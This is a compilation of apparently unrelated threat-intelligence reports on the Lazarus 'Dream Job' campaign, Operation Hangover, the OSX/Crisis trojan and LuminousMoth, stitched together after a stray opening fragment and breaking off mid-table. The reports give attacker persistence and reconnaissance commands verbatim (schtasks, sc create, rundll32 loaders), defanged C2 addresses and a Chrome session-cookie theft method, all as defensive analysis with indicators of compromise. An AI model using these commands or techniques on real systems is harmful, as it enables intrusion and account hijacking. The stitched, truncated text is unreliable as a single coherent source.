Startups to Watch in 2020. Headquartered in Alpharetta, Georgia and with offices in Australia, Singapore, and India, Cyble has a global presence.
# Lazarus Targets Chemical Sector Symantec, a division of Broadcom Software, has observed the North Korea-linked advanced persistent threat (APT) group known as Lazarus conducting an espionage campaign targeting organizations operating within the chemical sector. The campaign appears to be a continuation of Lazarus activity dubbed Operation Dream Job, which was first observed in August 2020. Symantec tracks this sub-set of Lazarus activity under the name Pompilus. ## Operation Dream Job Operation Dream Job involves Lazarus using fake job offers as a means of luring victims into clicking on malicious links or opening malicious attachments that eventually lead to the installation of malware used for espionage. Past Dream Job campaigns have targeted individuals in the defense, government, and engineering sectors in activity observed in August 2020 and July 2021. In January 2022, Symantec detected attack activity on the networks of a number of organizations based in South Korea. The organizations were mainly in the chemical sector, with some being in the information technology (IT) sector. However, it is likely the IT targets were used as a means to gain access to chemical sector organizations. There is sufficient evidence to suggest that this recent activity is a continuation of Operation Dream Job. That evidence includes file hashes, file names, and tools that were observed in previous Dream Job campaigns. A typical attack begins when a malicious HTM file is received, likely as a malicious link in an email or downloaded from the web. The HTM file is copied to a DLL file called `scskapplink.dll` and injected into the legitimate system management software INISAFE Web EX Client. The `scskapplink.dll` file is typically a signed Trojanized tool with malicious exports added. The attackers have been observed using the following signatures: DOCTER USA, INC and "A" MEDICAL OFFICE, PLLC. Next, `scskapplink.dll` downloads and executes an additional payload from a command-and-control (C&C) server with the URL parameter key/values "prd_fld=racket". This step kicks off a chain of shellcode loaders that download and execute arbitrary commands from the attackers, as well as additional malware, which are usually executed from malicious exports added to Trojanized tools such as the Tukaani project LZMA Utils library (XZ Utils). The attackers move laterally on the network using Windows Management Instrumentation (WMI) and inject into MagicLine by DreamSecurity on other machines. In some instances, the attackers were spotted dumping credentials from the registry, installing a BAT file in a likely effort to gain persistence, and using a scheduled task configured to run as a specific user. The attackers were also observed deploying post-compromise tools, including a tool used to take screenshots of web pages viewed on the compromised machine at set intervals (SiteShoter). They were also seen using an IP logging tool (IP Logger), a protocol used to turn computers on remotely (WakeOnLAN), a file and directory copier (FastCopy), and the File Transfer Protocol (FTP) executed under the MagicLine process. ## Case Study The following is a case study detailing step-by-step attacker activity on an organization in the chemical sector. **January 17, 2022** 00:51 – A malicious HTM file is received: `e31af5131a095fbc884c56068e19b0c98636d95f93c257a0c829ec3f3cc8e4ba - csidl_profile\appdata\local\microsoft\windows\inetcache\ie\3tygrjkm\join_06[1].htm` The HTM file is copied to a DLL file: `rundll32.exe CSIDL_PROFILE\public\scskapplink.dll,netsetcookie Cnusrmgr` This DLL file is injected into the legitimate system management software INISAFE Web EX Client. The file is a signed Trojanized version of the ComparePlus plugin for Notepad++ with malicious exports added. 01:02 – The file is run and downloads and executes a backdoor payload (`final.cpl - 5f20cc6a6a82b940670a0f89eda5d68f091073091394c362bfcaf52145b058db`) from a command-and-control (C&C) server with the URL parameter key/values "prd_fld=racket". The file `final.cpl` is a Trojanized version of the Tukaani project LZMA Utils library (XZ Utils) with a malicious export added (AppMgmt). The malware connects to, downloads, decodes, and executes shellcode from the following remote location: `hxxp[:]//happy[.]nanoace.co.kr/Content/rating/themes/krajee-fas/FrmAMEISMngWeb.asp` 01:04 – Another CPL file (`61e305d6325b1ffb6de329f1eb5b3a6bcafa26c856861a8200d717df0dec48c4`) is executed. This file, again, is a Trojanized version of LZMA Utils with a malicious added export. 01:13 – The shellcode loader (`final.cpl`) is executed again several times. 01:38 – Commands are executed to dump credentials from the SAM and SYSTEM registry hives. Over the next several hours, the attackers run unknown shellcode via `final.cpl` at various intervals, likely to collect the dumped system hives, among other things. 06:41 – The attackers create a scheduled task to ensure persistence between system reboots: `schtasks /create /RU [REDACTED].help\175287 /ST 15:42 /TR "cmd.exe /c C:\ProgramData\Intel\Intel.bat" /tn arm /sc MINUTE` The scheduled task instructs the system to execute 'Intel.bat' as user ‘[REDACTED].help/175287’ starting at 15:42 then every minute under the scheduled task name ‘arm’. It's unclear if this was an account that was cracked via the dumped registry hives or an account the attackers were able to create with admin rights. The attackers were also observed installing Cryptodome (PyCrypto fork) Python encryption modules via CPL files. A clean installation of BitDefender was also installed by the attackers. While unconfirmed, the threat actors may have installed an older version of this software (from 2020) with a vulnerability that allowed attackers to run arbitrary commands remotely. **January 18** 00:21 – The `final.cpl` file is executed again. 00:49 – A new CPL file called `wpm.cpl` (`942489ce7dce87f7888322a0e56b5e3c3b0130e11f57b3879fbefc48351a78f6`) is executed. `CSIDL_COMMON_APPDATA\finaldata\wpm.cpl Thumbs.ini 4 30` This file contains, and connects to, a list of IP addresses and records whether the connections were successful. 01:11 – Again, the `final.cpl` shellcode loader is executed multiple times, executing some unknown shellcode. This activity continued intermittently until 23:49. 23:49 – The file name of the CPL file changes to 'ntuser.dat'. The file location and command-line arguments remain the same. **January 19** 00:24 – The CPL shellcode loader files (`final.cpl` and `ntuser.dat`) are executed multiple times. 00:28 – The attackers create a scheduled task on another machine, likely to ensure persistence: `schtasks /create /RU [REDACTED]\i21076 /ST 09:28 /TR "cmd.exe /c C:\ProgramData\Adobe\arm.bat" /tn arm /sc MINUTE` The command is used to schedule a task named 'arm' to run the file 'arm.bat' starting at 09:28 then every minute after that under the user account '[REDACTED]\i21076'. 00:29 – A file named `arm.dat` (`48f3ead8477f3ef16da6b74dadc89661a231c82b96f3574c6b7ceb9c03468291`) is executed with the following command line arguments: `CSIDL_SYSTEM\rundll32.exe CSIDL_COMMON_APPDATA\adobe\arm.dat,packageautoupdater LimitedSpatialExtent_U_f48182 -d 1440 -i 10 -q 8 -s 5` The `arm.dat` file is a tool used to take screenshots of web pages viewed on the compromised machine every 10 seconds (SiteShoter), as determined by the command line arguments. The screenshots are saved in `appdata\local` with the date at the top of the file. 06:50 – The shellcode loader (`final.cpl`) is executed several times. 07:34 – A new CPL file named `addins.cpl` (`5f20cc6a6a82b940670a0f89eda5d68f091073091394c362bfcaf52145b058db`) is executed multiple times, which again is another shellcode loader and has the same command line arguments as seen with `final.cpl`: `CSIDL_SYSTEM\rundll32.exe CSIDL_COMMON_APPDATA\addins.cpl, AppMgmt EO6-CRY-LS2-TRK3` 07:39 – A scheduled task is created: `sc create uso start= auto binPath= “cmd.exe /c start /b C:\Programdata\addins.bat” DisplayName= uso` The task is used to auto-start and execute `addins.bat` each time the system is booted. The task uses the service name 'uso' (a file name previously used in older Dream Job campaigns targeting security researchers). The attacker runs `addins.cpl` again to run a command to start the service and then delete the service directly after: `CSIDL_SYSTEM\rundll32.exe CSIDL_COMMON_APPDATA\addins.cpl, AppMgmt EO6-CRY-LS2-TRK3 sc start uso (via cmd.exe) sc delete uso` The following commands were then executed to collect information pertaining to network configuration, current user the attackers are logged in as, active users on the machine, available shared drives, and the contents of the 'addins' directory: `ipconfig /all` `whoami` `query user` `net use` `dir CSIDL_WINDOWS\addins` 07:41 – The file `addins.cpl` is executed again multiple times before a scheduled task is created to run `addins.bat` again, start the service, and immediately delete the service: `sc create uso start= auto binPath= "cmd.exe /c start /b C:\Windows\addins\addins.bat" DisplayName= uso sc start uso sc delete uso` **January 20** The attackers execute `addins.cpl` again with the same command line as before. No further activity is observed. The Lazarus group is likely targeting organizations in the chemical sector to obtain intellectual property to further North Korea’s own pursuits in this area. The group’s continuation of Operation Dream Job, as witnessed by Symantec and others, suggests that the operation is sufficiently successful. As such, organizations should ensure they have adequate security in place and remain vigilant for attacks such as this. As always, users should be wary of clicking links or downloading files even if they come from seemingly trustworthy sources. ## Protection/Mitigation For the latest protection updates, please visit the Symantec Protection Bulletin. ## Indicators of Compromise **SHA-256** `164f6a8f7d2035ea47514ea84294348e32c90d817724b80ad9cd3af6f93d83f8` `18686d04f22d3b593dd78078c9db0ac70f66c7138789ad38469ec13162b14cef` `1cb8ea3e959dee988272904dbb134dad93539f2c07f08e1d6e10e75a019b9976` `2dd29b36664b28803819054a59934f7a358a762068b18c744281e1589af00f1f` `32bfdf1744077c9365a811d66a6ea152831a60a4f94e671a83228016fc87615f` `35de8163c433e8d9bf6a0097a506e3abbb8308330d3c5d1dea6db71e1d225fc3` `4277fcaada4939b76a3df4515b7f74837bf8c4b75d4ff00f8d464169eede01e3` `4446efafb4b757f7fc20485198236bed787c67ceffc05f70cd798612424384ce` `8aace6989484b88abc7e3ec6f70b60d4554bf8ee0f1ccad15db84ad04c953c2d` `942489ce7dce87f7888322a0e56b5e3c3b0130e11f57b3879fbefc48351a78f6` `f29d386bdf77142cf2436797fba1f8b05fab5597218c2b77f57e46b8400eb9de` `f7359490d6c141ef7a9ee2c03dbbd6ce3069e926d83439e1f8a3dfb3a7c3dc94` `f8995634b102179a5d3356c6f353cb3a42283d9822e157502486262a3af4447e` `ff167e09b3b7ad6ed1dead9ee5b4747dd308699a00905e86162d1ec1b61e0476` **Network** `2.79.118.195` `61.81.50.174` `happy.nanoace[.]co.kr` `hxxp://happy.nanoace[.]co.kr/Content/rating/themes/krajee-fas/FrmAMEISMngWeb.asp` **File names** `addins.cpl` `dolby.cpl` `ezhelp.cpl` `final.cpl` `officecert.ocx` `wpm.cpl` **Services** `arm` `uso`
# Operation Hangover ## Unveiling an Indian Cyberattack Infrastructure ### Executive Summary In this report, we detail a cyberattack infrastructure that appears to be Indian in origin. This infrastructure has been in operation for at least three years, more likely close to four years. The purpose of this framework seems predominantly to be a platform for surveillance against targets of national security interest (such as Pakistan), but we will also show how it has been used for industrial espionage against the Norwegian telecom corporation Telenor and other civilian corporations. The name, “Operation Hangover,” was derived from the name of one of the most frequently used malwares. The project debug path is often visible inside executable files belonging to this family. None of the information contained in the following report is intended to implicate any individual or entity, or suggest inappropriate activity by any individual or entity mentioned. ### Background On Sunday, March 17th, 2013, the Norwegian newspaper Aftenposten reported that the telecommunications giant Telenor had filed a case with Norwegian criminal police (“KRIPOS”) over what was perceived as an unlawful intrusion into their computer network. The infection was reported to have been conducted via spear phishing emails sent to people in the upper tiers of management. Initially, we had no information or visibility into this case. However, after some time, Norwegian CERT (NorCERT) shared some data from the event, which included MD5 hashes of malicious files and information about which Command and Control servers were used. The data we were given acted as a starting point for more data mining, and within a short period of time, it became obvious that we were seeing a previously unknown and very extensive infrastructure for targeted attacks. This paper is the result of the ensuing investigation. ### Timeframe The samples we have uncovered seem to have been created from approximately September 2010 until the present day. It appears 2012 was a very active year for this group, which saw escalation not only in numbers of created malware files but also in targets. There is no sign that the attacks will slow down in 2013, as we see new attacks continuously. ### Acknowledgments We would like to thank NorCERT, the Norwegian National Security Authority, Telenor, and Telenor SOC for their assistance and cooperation during the investigation of this case. We would also like to thank ESET for graciously sharing information they were in possession of, and finally, we would like to express our gratitude to the people who created our database and analysis systems. These systems enable us to do the data correlation needed to find needles in haystacks, so their creators own a large part of this paper as well. ### Terms Used - **C&C, C2, CC**: Command and Control server. Typically used about the computer the malware connects to in order to report status. - **Drop**: The online location where malware delivers stolen information. - **FUD**: One meaning of this acronym is “Fear, Uncertainty and Doubt,” but in the malware underground, FUD means Fully UnDetectable, i.e., the program is not detected by antivirus tools. - **MD5**: A so-called hash – i.e., a number calculated on the basis of data that identifies these with high confidence. MD5s in this paper are used to identify files. - **RTF**: Rich Text Format, a document format. - **SFX**: Self-extracting. Executable programs that are also archives, and which extract and sometimes execute the archive content when run. - **Sinkholing**: A technique of re-registering a domain that has previously been used for malicious purposes. By doing this, machines that are still infected connect to our computer instead of the attacker’s, and we can log the connection attempts. - **Spear phishing**: To send emails with malicious content (attachments, links, or fraudulent messages) to specific persons of particular interest. - **Zero day exploits**: Program code to attack software vulnerabilities for which there is no patch. ### Telenor Intrusion Initially, we had no knowledge of the malware samples involved in the attack on Telenor. However, some days after the attack, we received MD5 hashes of the samples used. We only found two of these samples in our own datasets, but we later directly received copies of most other samples connected with the case. The initial spear phishing mail contained two files as attachments – a document named “220113.doc” and an executable file “few important operational documents.doc.exe” (MD5 bd52237db47ba7515b2b7220ca64704e). This was a self-extracting (SFX) ZIP archive that contained two files. When run, the installer will execute the included “conhosts.exe” file and open the decoy document “legal operations.doc.” “legal operations.doc” and “220113.doc” also included in the mail are identical save for their size and are actually specially crafted RTF files designed to trigger a software vulnerability (CVE-2012-0158) in Microsoft Common Controls, typically triggered in Microsoft Word. If the vulnerability is triggered, embedded code in the document will be run. This code is encrypted, but after decryption, its real purpose becomes visible: The file “windwn.exe” is downloaded and executed by this mechanism. ### Additional Findings The files conhosts.exe (MD5 02d6519b0330a34b72290845e7ed16ab) and windwn.exe (MD5 bfd2529e09932ac6ca18c3aaff55bd79) are both minimally obfuscated Visual Basic executables. They connect to the Command and Control server wreckmove.org (188.240.47.145) via HTTP on port 80, using a peculiar and recognizable pattern. Other samples found connected to the case were Delphi information stealers, file splitter tools, C++ information stealers, and various other malware written in Visual Basic. ### Case Expansion Through Related Files The behavior pattern and the file structure of known files made it possible to search internal and public databases for similar cases. The large amount of new malware being created makes it infeasible to conduct malware-related investigations of any scale without strong database support. In our case, we preserve the behavioral information of all files processed by our internal bank of Norman MAG2 automatic analysis systems. Searching internal databases for behavioral similarities: In this case, the particular VB script execution, but there’s a wealth of attributes we can cluster by. There are also several public and commercial databases available for additional data mining, and Google is invaluable. The amount of malware we found through this was surprisingly large, and it became clear that the Telenor intrusion was not a single attack but part of a continuous effort to attack and compromise governments and corporations around the world. ### Target Selection We have direct knowledge of only one attack – the one against Telenor. During this investigation, we have obtained malware samples and decoy documents that have provided indications as to whom else would be in the target groups. We have observed the usage of peculiar domain names that are remarkably similar to existing legitimate domains. We have also obtained sinkhole data for a number of domains in question and found open folders with stolen userdata in them; enough to identify targets down to IP and machine name/domain level. This showed a geographical distribution where Pakistan was the most affected in volume, but also showed a multitude of other countries being represented. ### Conclusion The continued targeting of Pakistani interests and origins suggested that the attacker was of Indian origin. The project paths also give a rare glimpse into something we almost never see – a managed malware creation environment, where multiple developers are tasked with specific malware deliverances. This is visible in the way the projects themselves are organized, indicating that development work is being outsourced.
# New Apple Mac Trojan Called OSX/Crisis Discovered Posted on July 24th, 2012 by Lysa Myers Update – July 25, 2012 10:30AM PDT Intego has discovered a new Trojan called OSX/Crisis. This threat is a dropper which creates a backdoor when it’s run. It installs silently, without requiring a password, and works only in OSX versions 10.6 and 10.7 – Snow Leopard and Lion. The Trojan preserves itself against reboots, so it will continue to run until it’s removed. Depending on whether or not the dropper runs on a user account with Admin permissions, it will install different components. We have not yet seen if or how this threat is installed on a user’s system; it may be that an installer component will try to establish Admin permissions. If the dropper runs on a system with Admin permissions, it will drop a rootkit to hide itself. In either case, it creates a number of files and folders to complete its tasks. It creates 17 files when it’s run with Admin permissions, 14 files when it’s run without. Many of these are randomly named, but there are some that are consistent. With or without Admin permissions, this folder is created in the infected user’s home directory: `~/Library/ScriptingAdditions/appleHID/` Only with Admin permissions, this folder is created: `/System/Library/Frameworks/Foundation.framework/XPCServices/` The backdoor component calls home to the IP address 176.58.100.37 every 5 minutes, awaiting instructions. The file is created in a way that is intended to make reverse engineering tools more difficult to use when analyzing the file. This sort of anti-analysis technique is common in Windows malware, but is relatively uncommon for OS X malware. It uses low-level system calls to hide its activities. Intego found samples of this malware on the VirusTotal website, a site used by security companies to share malware samples. This threat has not yet been found in the wild, and so far there is no indication that this Trojan has infected users so right now the threat is considered to be a low risk. Nonetheless, Intego VirusBarrier X6 detects and removes this malware using today’s definitions. It detects the dropper component as OSX/Crisis, and the backdoor component as Backdoor:OSX/Crisis. It will also block connections with the IP address the backdoor component seeks to connect with. Intego VirusBarrier X6 users need to update as soon as possible to get protection from this threat. We are still analyzing the threat at this time. We will post a more in-depth analysis as we have more details.
# LuminousMoth APT: Sweeping Attacks for the Chosen Few **Authors** Mark Lechtik Paul Rascagneres Aseel Kayal APT actors are known for the frequently targeted nature of their attacks. Typically, they will handpick a set of targets that in turn are handled with almost surgical precision, with infection vectors, malicious implants, and payloads being tailored to the victims’ identities or environment. It’s not often we observe a large-scale attack conducted by actors fitting this profile, usually due to such attacks being noisy, and thus putting the underlying operation at risk of being compromised by security products or researchers. We recently came across unusual APT activity that exhibits the latter trait – it was detected in high volumes, albeit most likely aimed at a few targets of interest. This large-scale and highly active campaign was observed in South East Asia and dates back to at least October 2020, with the most recent attacks seen around the time of writing. Most of the early sightings were in Myanmar, but it now appears the attackers are much more active in the Philippines, where there are more than 10 times as many known targets. Further analysis revealed that the underlying actor, which we dubbed LuminousMoth, shows an affinity to the HoneyMyte group, otherwise known as Mustang Panda. This is evident in both network infrastructure connections and the usage of similar TTPs to deploy the Cobalt Strike Beacon as a payload. In fact, our colleagues at ESET and Avast recently assessed that HoneyMyte was active in the same region. The proximity in time and common occurrence in Myanmar of both campaigns could suggest that various TTPs of HoneyMyte may have been borrowed for the activity of LuminousMoth. Most notably though, we observed the capability of the culprit to spread to other hosts through the use of USB drives. In some cases, this was followed by deployment of a signed, but fake version of the popular application Zoom, which was in fact malware enabling the attackers to exfiltrate files from the compromised systems. The sheer volume of the attacks raises the question of whether this is caused by a rapid replication through removable devices or by an unknown infection vector, such as a watering hole or a supply chain attack. In this publication, we aim to profile LuminousMoth as a separate entity, outlining the infection chain and unique toolset it leverages, the scale and targeting in its campaigns as well as its connections to HoneyMyte through common TTPs and shared resources. ## What Were the Origins of the Infections? We identified two infection vectors used by LuminousMoth: the first one provides the attackers with initial access to a system. It consists of sending a spear-phishing email to the victim containing a Dropbox download link. The link leads to a RAR archive that masquerades as a Word document by setting the “file_subpath” parameter to point to a filename with a .DOCX extension. The archive contains two malicious DLL libraries as well as two legitimate executables that sideload the DLL files. We found multiple archives like this with file names of government entities in Myanmar, for example “COVID-19 Case 12-11-2020(MOTC).rar” or “DACU Projects.r01” (MOTC is Myanmar’s Ministry of Transport and Communications, and DACU refers to the Development Assistance Coordination Unit of the Foreign Economic Relations Department (FERD) in Myanmar). ### Infection Chain The second infection vector comes into play after the first one has successfully finished, whereby the malware tries to spread by infecting removable USB drives. This is made possible through the use of two components: the first is a malicious library called “version.dll” that gets sideloaded by “igfxem.exe”, a Microsoft Silverlight executable originally named “sllauncher.exe”. The second is “wwlib.dll”, another malicious library sideloaded by the legitimate binary of “winword.exe”. The purpose of “version.dll” is to spread to removable devices, while the purpose of “wwlib.dll” is to download a Cobalt Strike beacon. The first malicious library “version.dll” has three execution branches, chosen depending on the provided arguments, which are: “assist”, “system” or no argument. If the provided argument is “assist”, the malware creates an event called “nfvlqfnlqwnlf” to avoid multiple executions and runs “winword.exe” in order to sideload the next stage (“wwlib.dll”). Afterwards, it modifies the registry by adding an “Opera Browser Assistant” entry as a run key, thus achieving persistence and executing the malware with the “assist” parameter upon system startup. Then, the malware checks if there are any removable drives connected to the infected system. If any are found, it enumerates the files stored on the drive and saves the list to a file called “udisk.log”. Lastly, the malware is executed once again with the “system” parameter. If the provided argument is “system”, a different event named “qjlfqwle21ljl” is created. The purpose of this execution branch is to deploy the malware on all connected removable devices, such as USB sticks or external drives. If a drive is found, the malware creates hidden directories carrying non-ASCII characters on the drive and moves all the victim’s files there, in addition to the two malicious libraries and legitimate executables. The malware then renames the file “igfxem.exe” to “USB Driver.exe” and places it at the root of the drive along with “version.dll”. As a result, the victims are no longer able to view their own drive files and are left with only “USB Driver.exe”, meaning they will likely execute the malware to regain access to the hidden files. If no argument is provided, the malware executes the third execution branch. This branch is only launched in the context of a compromised removable drive by double-clicking “USB Driver.exe”. The malware first copies the four LuminousMoth samples stored from the hidden drive repository to “C:\Users\Public\Documents\Shared Virtual Machines”. Secondly, the malware executes “igfxem.exe” with the “assist” argument. Finally, “explorer.exe” gets executed to display the hidden files that were located on the drive before the compromise, and the user is able to view them. The second library, “wwlib.dll”, is a loader. It gets sideloaded by “winword.exe” and emerged two months prior to “version.dll”, suggesting that earlier instances of the attack did not rely on replication through removable drives but were probably distributed using other methods such as the spear-phishing emails we observed. “Wwlib.dll” fetches a payload by sending a GET request to the C2 address at “103.15.28[.]195”. The payload is a Cobalt Strike beacon that uses the Gmail malleable profile to blend with benign traffic. ### Older Spreading Mechanism We discovered an older version of the LuminousMoth infection chain that was used briefly before the introduction of “version.dll”. Instead of the usual combination of “version.dll” and “wwlib.dll”, a different library called “wwlib.dll” is in fact the first loader in this variant and is in charge of spreading to removable drives, while a second “DkAr.dll” library is in charge of downloading a Cobalt Strike beacon from the C2 server. This variant’s “wwlib.dll” offers two execution branches: one triggered by the argument “Assistant” and a second one with no arguments given. When this library is sideloaded by “winword.exe”, it creates an event called “fjsakljflwqlqewq”, adds a registry value for persistence, and runs “PrvDisk.exe” that then sideloads “DkAr.dll”. The final step taken by “wwlib.dll” is to copy itself to any removable USB device. To do so, the malware checks if there are any files carrying a .DOC or .DOCX extension stored on the connected devices. If such a document is found, the malware replaces it with the “winword.exe” binary, keeping the document’s file name but appending “.exe” to the end. The original document is then moved to a hidden directory. The “wwlib.dll” library is copied to the same directory containing the fake document and the four samples (two legitimate PE files, two DLL libraries) are copied to “[USB_Drive letter]:\System Volume Information\en-AU\Qantas”. If the malware gets executed without the “Assistant” argument, this means the execution was started from a compromised USB drive by double-clicking on the executable. In this case, the malware first executes “explorer.exe” to show the hidden directory with the original documents of the victim, and proceeds to copy the four LuminousMoth samples to “C:\Users\Public\Documents\Shared Virtual Machines”. Finally, it executes “winword.exe” with the “Assistant” argument to infect the new host, to which the USB drive was connected. Since this variant relies on replacing Word documents with an executable, it is possible that the attackers chose the “winword.exe” binary for sideloading the malicious DLL due to its icon, which raises less suspicions about the original documents being tampered with. However, this means that the infection was limited only to USB drives that have Word documents stored on them, and might explain the quick move to a more pervasive approach that infects drives regardless of their content. ## Post Exploitation Tool: Fake Zoom Application The attackers deployed an additional malicious tool on some of the infected systems in Myanmar. Its purpose is to scan the infected systems for files with predefined extensions and exfiltrate them to a C2 server. Interestingly, this stealer impersonates the popular Zoom video telephony software. One measure to make it seem benign is a valid digital signature provided with the binary along with a certificate that is owned by Founder Technology, a subsidiary of Peking University’s Founder Group, located in Shanghai. To facilitate the exfiltration of data, the stealer parses a configuration file called “zVideoUpdate.ini”. While it is unclear how the malware is written to disk by the attackers, it is vital that the .ini file is dropped alongside it and placed in the same directory in order to work. The configuration parameters that comprise this file are as follows: - **Name**: Undetermined integer value that defaults to 60. - **ssb_sdk**: Undetermined integer value that defaults to 60. - **zAutoUpdate**: URL of the C2 server which the stolen data will be uploaded to. - **XmppDll**: Path to the utility used to archive exfiltrated files. - **zKBCrypto**: List of exfiltrated file extensions that are searched in target directories. The extensions of interest are delimited with the ‘;’ character. - **zCrashReport**: Suffix string appended to the name of the staging directory used to host exfiltrated files before they are archived. - **zWebService**: Path prefix for the exfiltration staging directory. - **zzhost**: Path to the file that will hold a list of hashes corresponding to the files collected for exfiltration. - **ArgName**: AES key for configuration string encryption. - **Version**: AES IV for configuration string encryption. - **zDocConverter**: Path #1 to a directory to look for files with the extension intended for exfiltration. - **zTscoder**: Path #2 to a directory to look for files with the extension intended for exfiltration. - **zOutLookIMutil**: Path #3 to a directory to look for files with the extension intended for exfiltration. Each field in the configuration file (with the exception of Version, ArgName, and zCrashReport) is encoded with Base64. While the authors incorporated logic and parameters that allow the decryption of some of the fields specified above with the AES algorithm, it remains unused. The stealer uses the parameters in order to scan the three specified directories (along with root paths of fixed and removable drives) and search for files with the extensions given in the zKBCrypto parameter. Matching files will then be copied to a staging directory created by the malware in a path constructed with the following structure: “<zWebService>\%Y-%m-%d %H-%M-%S<zCrashReport>”. The string format in the directory’s name represents the time and date of the malware’s execution. In addition, the malware collects the metadata of the stolen files. One piece of data can be found as a list of original paths corresponding to the exfiltrated files that is written to a file named ‘VideoCoingLog.txt’. This file resides in the aforementioned staging directory. Likewise, a second file is used to hold the list of hashes corresponding to the exfiltrated files and placed in the path specified in the zzhost parameter. After collection of the targeted files and their metadata, the malware executes an external utility in order to archive the staging directory into a .rar file that will be placed in the path specified in the zWebService parameter. The malware assumes the existence of the utility in a path specified under the XmppDll parameter, suggesting the attackers have prior knowledge of the infected system and its pre-installed applications. Finally, the malware seeks all files with a .rar extension within the zWebService directory that should be transmitted to the C2. The method used to send the archive makes use of a statically linked CURL library, which sets the parameters specified below when conducting the transaction to the server. The address of the C2 is taken from the zAutoUpdate parameter. ## Post Exploitation Tool: Chrome Cookies Stealer The attackers deployed another tool on some infected systems that steals cookies from the Chrome browser. This tool requires the local username as an argument, as it is needed to access two files containing the data to be stolen: 1. C:\Users\[USERNAME]\AppData\Local\Google\Chrome\User Data\Default\Cookies 2. C:\Users\[USERNAME]\AppData\Local\Google\Chrome\User Data\Local State The stealer starts by extracting the encrypted_key value stored in the “Local State” file. This key is base64 encoded and used to decode the cookies stored in the “Cookies” file. The stealer uses the CryptUnprotectData API function to decrypt the cookies and looks for eight specific cookie values: SID, OSID, HSID, SSID, LSID, APISID, SAPISID, and ACCOUNT_CHOOSER. Once found, the malware simply displays the values of those cookies in the terminal. The Google policy explains that these cookies are used to authenticate users. During our test, we set up a Gmail account and were able to duplicate our Gmail session by using the stolen cookies. We can therefore conclude this post exploitation tool is dedicated to hijacking and impersonating the Gmail sessions of the targets. ## Command and Control For C2 communication, some of the LuminousMoth samples contacted IP addresses directly, whereas others communicated with the domain “updatecatalogs.com”. - 103.15.28[.]195 - 202.59.10[.]253 Infrastructure ties from those C2 servers helped reveal additional domains related to this attack that impersonate known news outlets in Myanmar, such as MMTimes, 7Day News, and The Irrawaddy. Another domain “mopfi-ferd[.]com” also impersonated the Foreign Economic Relations Department (FERD) of the Ministry of Planning, Finance and Industry (MOPFI) in Myanmar. - mmtimes[.]net - mmtimes[.]org - 7daydai1y[.]com - irrawddy[.]com - mopfi-ferd[.]com “Mopfi-ferd[.]com” resolved to an IP address that was associated with a domain masquerading as the Zoom API. Since we have seen the attackers deploying a fake Zoom application, it is possible this look-alike domain was used to hide malicious Zoom traffic, although we have no evidence of this. ## Who Were the Targets? We were able to identify a large number of targets infected by LuminousMoth, almost all of which are from the Philippines and Myanmar. We came across approximately 100 victims in Myanmar, whereas in the Philippines the number was much higher, counting nearly 1,400 victims. It seems however that the actual targets were only a subset of these that included high-profile organizations, namely government entities located both within those countries and abroad. It is likely that the high rate of infections is due to the nature of the LuminousMoth attack and its spreading mechanism, as the malware propagates by copying itself to removable drives connected to the system. Nevertheless, the noticeable disparity between the extent of this activity in both countries might hint at an additional and unknown infection vector being used solely in the Philippines. It could, however, simply be that the attackers are more interested in going after targets from this region. ## Connections to HoneyMyte Over the course of our analysis, we noticed that LuminousMoth shares multiple similarities with the HoneyMyte threat group. Both groups have been covered extensively in our private reports, and further details and analysis of their activity are available to customers of our private APT reporting service. For more information, contact: [email protected]. LuminousMoth and HoneyMyte have similar targeting and TTPs, such as the usage of DLL side-loading and Cobalt Strike loaders, and a similar component to LuminousMoth’s Chrome cookie stealer was also seen in previous HoneyMyte activity. Lastly, we found infrastructure overlaps between the C2 servers used in the LuminousMoth campaign and an older one that has been attributed to HoneyMyte. Some of LuminousMoth’s malicious artifacts communicate with “updatecatalogs[.]com”, which resolves to the same IP address behind “webmail.mmtimes[.]net”. This domain was observed in a campaign that dates back to early 2020, and was even found on some of the systems that were later infected with LuminousMoth. In this campaign, a legitimate binary (“FmtOptions.exe”) sideloads a malicious DLL called “FmtOptions.dll”, which then decodes and executes the contents of the file “work.dat”. This infection flow also involves a service called “yerodns.dll” that implements the same functionality as “FmtOptions.dll”. The domain “webmail.mmtimes[.]net” previously resolved to the IP “45.204.9[.]70”. This address is associated with another MMTimes look-alike domain used in a HoneyMyte campaign during 2020: “mmtimes[.]org”. In this case, the legitimate executable “mcf.exe” loads “mcutil.dll”. The purpose of “mcutil.dll” is to decode and execute “mfc.ep”, a PlugX backdoor that communicates with “mmtimes[.]org”. Parts of this campaign were also covered in one of our private reports discussing HoneyMyte’s usage of a watering hole to infect its victims. Therefore, based on the above findings, we can assess with medium to high confidence that the LuminousMoth activity is indeed connected to HoneyMyte. ## Conclusions LuminousMoth represents a formerly unknown cluster of activity that is affiliated to a Chinese-speaking actor. As described in this report, there are multiple overlaps between resources used by LuminousMoth and those sighted in previous activity of HoneyMyte. Both groups, whether related or not, have conducted activity of the same nature – large-scale attacks that affect a wide perimeter of targets with the aim of hitting a few that are of interest. On the same note, this group’s activity and the apparent connections may hint at a wider phenomenon observed during 2021 among Chinese-speaking actors, whereby many are re-tooling and producing new and unknown malware implants. This allows them to obscure any ties to their former activities and blur their attribution to known groups. With this challenge in mind, we continue to track the activity described in this publication with an eye to understanding its evolution and connection to previous attacks. ## Indicators of Compromise ### Version.dll Payloads | Hash | Compilation Date | |----------------------------------------------------------------------|--------------------------------| | 0f8b7a64336b4315cc0a2e6171ab027e | Dec 24 09:20:16 2020 | | 2d0296ac56db3298163bf3f6b622fdc319a9be23 | | | 59b8167afba63b9b4fa4369e6664f274c4e2760a4e2ae4ee12d43c07c9655e0f | | | 37054e2e8699b0bdb0e19be8988093cd | Dec 24 09:19:51 2020 | | 5e45e6e113a52ba420a35c15fbaa7856acc03ab4 | | | a934ae0274dc1fc9763f7aa51c3a2ce1a52270a47dcdd80bd5b9afbc3a23c82b | | | c05cdf3a29d6fbe4e3e8621ae3173f08 | Dec 29 11:45:41 2020 | | 75cd21217264c3163c800e3e59af3d7db14d76f8 | | | 869e7da2357c673dab14e9a64fb69691002af5b39368e6d1a3d7fda242797622 | | | 5ba1384b4edfe7a93d6f1166da05ff6f | Jan 07 11:18:38 2021 | | 6d18970811821125fd402cfa90210044424e223a | | | 857c676102ea5dda05899d4e386340f6e7517be2d2623437582acbe0d46b19d2 | | | afb777236f1e089c9e1d33fce46a704c | Jan 14 11:18:50 2021 | | cf3582a6cdac3e254c017c8ce36240130d67834 | | | 1ec88831b67e3f0d41057ba38ccca707cb508fe63d39116a02b7080384ed0303 | | ### Wwlib.dll Payloads | Hash | Compilation Date | |----------------------------------------------------------------------|--------------------------------| | 